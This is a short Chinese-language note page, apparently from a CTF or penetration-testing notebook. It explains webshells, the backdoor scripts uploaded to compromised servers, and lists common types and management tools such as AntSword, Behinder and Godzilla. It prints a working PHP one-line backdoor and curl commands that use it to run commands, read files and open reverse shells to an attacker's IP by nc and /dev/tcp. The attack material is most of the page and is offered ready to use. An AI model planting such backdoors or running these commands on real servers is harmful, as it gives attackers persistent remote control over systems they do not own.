WebShell — 工具配置

WebShell 是获取目标服务器权限后上传的后门脚本,通过浏览器或工具远程执行命令。

WebShell 的常见形式

类型语言特点
一句话木马PHP/ASP/JSP最小体积,通过 POST 参数执行命令
大马PHP/ASP完整文件管理器,带提权功能
内存 shellJava/PHP无文件落地,仅存在内存中
冰蝎/哥斯拉Java/PHP加密通信,绕过 WAF

PHP 一句话木马

<?php @eval($_POST['cmd']); ?>
# 用 curl 连接一句话木马
curl -X POST -d "cmd=system('id');" http://target.com/shell.php
 
# 获取完整 shell(反弹 shell)
curl -X POST -d "cmd=system('nc -e /bin/bash IP 4444');" http://target.com/shell.php

常见 WebShell 管理工具

工具语言特点
蚁剑(AntSword)多语言开源、模块化、可自定义编码器
冰蝎(Behinder)Java/ASP/PHP加密通讯,动态密钥
哥斯拉(Godzilla)Java/PHP/ASP功能丰富,多载荷类型
中国菜刀(Cknife)多语言经典工具,已逐渐被替代

终端直接操作(无工具依赖)

# 一句话木马 - 执行命令
curl -X POST "http://target.com/shell.php" -d "cmd=system('cat /flag');"
 
# 一句话木马 - 反弹 shell(攻击机 nc -lvp 4444)
curl -X POST "http://target.com/shell.php" \
 -d "cmd=system('bash -i >& /dev/tcp/攻击机IP/4444 0>&1');"
 
# 一句话木马 - 查看文件
curl -X POST "http://target.com/shell.php" \
 -d "cmd=system('ls -la /');"

关联教程

此文件夹下有0条笔记。